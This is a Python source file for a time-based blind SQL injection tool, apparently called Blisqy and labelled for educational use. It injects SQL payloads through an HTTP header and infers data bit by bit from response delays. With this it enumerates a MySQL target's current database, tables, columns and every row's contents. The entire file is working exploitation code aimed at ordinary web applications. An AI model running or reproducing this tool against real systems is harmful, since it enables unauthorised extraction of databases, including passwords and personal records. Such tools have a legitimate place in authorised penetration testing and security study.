from socket import (socket, AF_INET, SOCK_STREAM)
from datetime import datetime
import gevent
import time
import sys

# Written by John Ombagi
# For Educational Use Only


class SqlEngine(object):

    def __init__(self, target, targetParam, SQLinjection):

        # Initialization Tokens
        self.value = 0
        self.x = 1

        # Color Formatting in Linux
        self.red = "\x1b[1;31m"
        self.cyan = "\x1b[1;36m"
        self.green = "\x1b[1;32m"
        self.yellow = "\x1b[1;33m"
        self.clear = "\x1b[0m"

        # Target
        self.server = target['server']
        self.port = target['port']
        self.vulnHeader = target['vulnHeader']
        self.headerValue = target['headerValue']

        # Target Parameters
        self.sleepTime = targetParam['sleepTime']
        self.payload = targetParam['payload']
        self.mysqlDig = targetParam['mysqlDig']
        self.interactive = targetParam['interactive']
        self.verbose = targetParam['verbosity']
        self.verbose = self.verbose.lower()

        # SQL Injection Payload
        self.SQLinject = SQLinjection
        self.Stamp = datetime.now().strftime("-%H-%M-%S")
        self.testSql_result = ""

        # Log FileName
        self.logfile = "logs/" + self.server + self.Stamp + ".csv"


    def writeLog(self, error, funcName):
        with open(self.logfile, 'a') as log:
            log.write("{0},{1},{2}\n".format(datetime.now().strftime(
                "%Y-%m-%d %H:%M:%S"), str(funcName), str(error)))


    def exceptionHandler(self, error, funcName):
        if self.verbose == "high":
            print("[!] Error occurred at : %s" % funcName)
            print(self.red + str(error) + self.clear)
            self.writeLog(funcName, error)

        elif self.verbose == "medium":
            print(self.red + "[!] Error occurred at : %s" %
                  funcName + self.clear)

        elif self.verbose == "log":
            self.writeLog(funcName, error)


    def testSql(self, sql):

        # Connect to web server
        try:
            s = socket(AF_INET, SOCK_STREAM, 0)
            s.connect((self.server, self.port))

            # Mark time before execution
            t1 = time.time()
            try:
                injection = self.SQLinject
                injection = injection.replace("*sql*", sql)
                injection = injection.replace("*time*", str(self.sleepTime))
            except Exception as err:
                self.exceptionHandler(err, "testSql [Building Injection]")
                sys.exit(1)

            # Send our Payload
            data = ""
            data += "GET / HTTP/1.1\r\n"
            data += "Host: "
            data += self.server + "\r\n"
            data += self.vulnHeader
            data += ": "
            data += self.headerValue + injection + "\r\n"
            data += "Connection: close\r\n\r\n"
            try:
                s.send(data)
                s.recv(0)
            except Exception as err:
                self.exceptionHandler(err, "testSql [Sending Data]")
                sys.exit(1)

            # Mark time after execution
            t2 = time.time()

            # Compare if time diffrence is greater than sleepTime
            if t2 - t1 > self.sleepTime:
                self.testSql_result = True
            else:
                self.testSql_result = False

        except Exception as err:
            self.exceptionHandler(err, "testSql")
            sys.exit(1)


    def constructor(self, defined_SQL, String_pos_counter):
        char_binary = ""
        try:

            # values for bit masking `for x in range(0,8): 2**x`
            for bitValue in (1, 2, 4, 8, 16, 32, 64, 128):

                # If injection worked, True=1, else False=0;
                # Append on strx
                ascii_SQLStatement = "select ascii(substring((%s),%s,1))&%s" % (
                    defined_SQL, String_pos_counter, bitValue)

                gevent.spawn(self.testSql(ascii_SQLStatement))

                if self.testSql_result is True:
                    char_binary += "1"

                elif self.testSql_result is False:
                    char_binary += "0"

            # Get integer value from binary value stored at char_binary
            char_int = int(char_binary, 2)

            # Since value is stored in revrse order, rearrange the byte order
            revese_char_int = int('{:08b}'.format(char_int)[::-1], 2)

            # Get ASCII value
            ASCII_char = chr(revese_char_int)

            # If ASCII character ia string terminator,
            # break while loop in DataPump()

            if ASCII_char == "\0":
                return "done"
            else:
                return ASCII_char

        except Exception as err:
            self.exceptionHandler(err, "constructor")

        self.testSql_result = ""


    def DataPump(self, SqlStatement):
        counter = 1
        try:
            result = ""
            while True:

                try:
                    Character = self.constructor(SqlStatement, counter)

                    if (Character is not None) & (Character != "done"):
                        result += Character
                        counter += 1

                    if Character == "done":
                        break

                except KeyboardInterrupt:
                    self.exceptionHandler("User Interrupt",
                                          "DataPump [Key-board Interrupt]")
                    sys.exit()
            return result

        except Exception as err:
            self.exceptionHandler(err, "DataPump")


    def StatusUpdate(self):

        try:
            print(self.cyan + "Extracting Data from ====> %s : %s %s" %
                  (self.server, self.port, self.clear))
            print(self.green + "Current Payload : " +
                  self.clear + self.red + self.payload + self.clear)
            print(self.cyan +
                  "===============================" + self.clear)
        except Exception as err:
            self.exceptionHandler(err, "StatusUpdate")


    def BreakPoint(self, message):
        '''When interactive option is set to on,
        this function helps Blisqy pause execution and
        the user decide on what Blisqy should do next. '''
        try:
            print("\n")
            userAction = self.yellow + message + self.clear

            self.ans = raw_input(userAction)
            ans = self.ans
            ans = ans.lower()

            if (ans == "n") | (ans == "no"):
                msg = self.yellow + "Close Sessions? yes/no : " + self.clear
                action = ans = raw_input(msg)

                if (action == "y") | (action == "yes"):
                    sys.exit()
        except Exception as err:
            self.exceptionHandler(err, "BreakPoint")


    def tableDigger(self, table):

        try:
            print(self.cyan + "Preparing to Enumerate Table : %s" %
                  table + self.clear)
            print(self.cyan + "=======================" + self.clear)

            # Get Number of Columns in a Table
            msg = "[+] Getting Number of Columns in Table : %s" % table
            print(self.green + msg + self.clear)

            CountColumns = ""
            CountColumns += "select count(*) from "
            CountColumns += "(select column_name FROM "
            CountColumns += "information_schema.columns "
            CountColumns += "WHERE table_name = '%s') t"
            CountColumns = CountColumns % table

            CountedColumns = self.DataPump(CountColumns)

            print(self.yellow + "[-] " + CountedColumns + self.clear + "\n")

            columns = []
            counter = 1

            # Get column names and put in a list columns
            msg = "[+] Getting  All Column Names in Table : %s " % table
            print(self.green + msg + self.clear)

            while counter <= int(CountedColumns):
                GetColumn = ""
                GetColumn += "select column_name FROM "
                GetColumn += "(select column_name FROM "
                GetColumn += "information_schema.columns WHERE "
                GetColumn += "table_name='%s' AND table_schema "
                GetColumn += "!= 'mysql' AND table_schema "
                GetColumn += "!= 'information_schema' "
                GetColumn += "order by column_name limit %d) "
                GetColumn += "t order by column_name desc limit 1"
                GetColumn = GetColumn % (table, counter)

                column = self.DataPump(GetColumn)
                print(self.yellow + "[-] " + column + self.clear)
                columns.append(column)
                counter = counter + 1

            # Get all rows in a Table
            msg = "\n[+] Getting Number of Rows in Table : %s " % table
            print("\n" + self.green + msg + self.clear)

            allRows = "select count(*) from (select * from %s) t" % table
            CountedRows = self.DataPump(allRows)

            print(self.yellow + "[-] " + CountedRows + self.clear + "\n")

            rows = []
            counter = 1

            interactive = self.interactive.lower()

            if interactive == "on":
                # Get all data from rows
                msg = "[+] Getting Data from Table : %s " % table
                print(self.green + msg + self.clear)

                msg = "Enter Columns separated by asterisks (*). "
                msg += "E.g id*fname*passwd or skip : "
                outMsg = self.red + msg + self.clear

                self.OutputColumns = raw_input(outMsg)
                OutputColumns = self.OutputColumns
                outMsgColums = OutputColumns.replace("*", " : ")

                if OutputColumns != 'skip':
                    print(self.cyan + "[-] %s" % outMsgColums)
                    OutputColumns = OutputColumns.replace("*", ",' : ',")

                    while counter <= int(CountedRows):

                        # SQL Query
                        variables = (OutputColumns, table, counter)
                        getRow = ""
                        getRow += "select result from "
                        getRow += "(select concat(%s) result from %s "
                        getRow += "order by result limit %d) "
                        getRow += "t order by result "
                        getRow += "desc limit 1"
                        getRow = getRow % variables

                        row = self.DataPump(getRow)
                        print(self.yellow + "[-] " + row + self.clear)
                        rows.append(row)
                        counter = counter + 1

                elif OutputColumns == 'skip':
                    print(self.red + "Skipping....." + self.clear)

            elif interactive == "off":
                msg = "[+] Getting data from Table : %s " % table
                print(self.green + msg + self.clear)

                # Concat all Columns
                query_columns = ''
                for discovered_column in columns:
                    query_columns += discovered_column + ",' ',"

                query_columns = query_columns[:-5]

                outMsgColums = query_columns.replace(",' ',", " ")
                print(self.cyan + "[-] %s" % outMsgColums)

                while counter <= int(CountedRows):
                    # SQL Query
                    getRow = ""
                    getRow += "select result from "
                    getRow += "(select concat(%s) result from %s "
                    getRow += "order by result limit %d) "
                    getRow += "t order by result "
                    getRow += "desc limit 1"
                    getRow = getRow % (query_columns, table, counter)

                    row = self.DataPump(getRow)

                    print(self.yellow + "[-] " + row + self.clear)

                    rows.append(row)
                    counter = counter + 1

        except Exception as err:
            self.exceptionHandler(err, "tableDigger")
            sys.exit()


    def MysqlDigger(self):

        # Get Current Database
        print(self.green + "[+] Getting Current Database : " + self.clear)

        try:
            currentDB = "select database()"
            DBname = self.DataPump(currentDB)

            print(self.yellow + "[-] " + DBname + self.clear + "\n")

            # Count number of TABLES available in non system schema
            # (to be used in getting tableNames)

            print(self.green +
                  "[+] Getting  Number of TABLES from Schema " + self.clear)

            tableCount = ""
            tableCount += "select count(*) from "
            tableCount += "(select table_name "
            tableCount += "FROM information_schema.tables "
            tableCount += "WHERE table_schema != 'mysql' "
            tableCount += "AND table_schema != "
            tableCount += "'information_schema') t"

            CountedTables = self.DataPump(tableCount)

            print(self.yellow + "[-] " + CountedTables + self.clear + "\n")

            counter = 1
            tables = []

        except Exception as err:
            self.exceptionHandler(err, "MysqlDigger [Getting current DB]")
            sys.exit()

        # Get all TABLE_NAMES from schema, increment inner limit till total
        # counted TABLES available
        print(self.green +
              "[+] Getting  All TABLE NAMES from Schema " + self.clear)

        try:
            while counter <= int(CountedTables):
                GetTableName = ""
                GetTableName += "select table_name from "
                GetTableName += "(SELECT table_name FROM "
                GetTableName += "information_schema.tables WHERE "
                GetTableName += "table_schema != 'mysql' "
                GetTableName += "AND table_schema != 'information_schema' "
                GetTableName += "order by table_name limit %d) "
                GetTableName += "t order by table_name "
                GetTableName += "desc limit 1"
                GetTableName = GetTableName % counter

                TableName = self.DataPump(GetTableName)

                print(self.yellow + "[-] " + TableName + self.clear)

                tables.append(TableName)
                counter = counter + 1

            # Get all TABLE_NAMES from all Columns from discovered Tables
            if self.interactive == "on":

                msg = "Get all Columns from discovered Tables? yes/no  :  "
                self.BreakPoint(msg)
                print("\n")

                msgout = self.green + \
                    "[+] Enumerate a Specific Table (yes/no) : " + self.clear
                self.ans = raw_input(msgout)
                ans = self.ans.lower()

                if (ans == "y") | (ans == "yes"):
                    msgout = self.green + \
                        "[+] Enter Table Name : " + self.clear
                    self.userTable = raw_input(msgout)
                    userTable = self.userTable

                    # Check if table is in list tables before movin on
                    while userTable not in tables:
                        msgout = self.red + \
                            "[+] Are you nutts! Enter a valid Table Name : " +\
                            self.clear
                        self.userTable = raw_input(msgout)
                        userTable = self.userTable

                    self.tableDigger(userTable)
                    sys.exit()

                elif (ans == "n") | (ans == "no"):
                    for table in tables:
                        self.tableDigger(table)

            elif self.interactive == "off":
                for table in tables:
                    self.tableDigger(table)

        except Exception as err:
            self.exceptionHandler(err, "MysqlDigger [Getting Columns]")
            sys.exit()

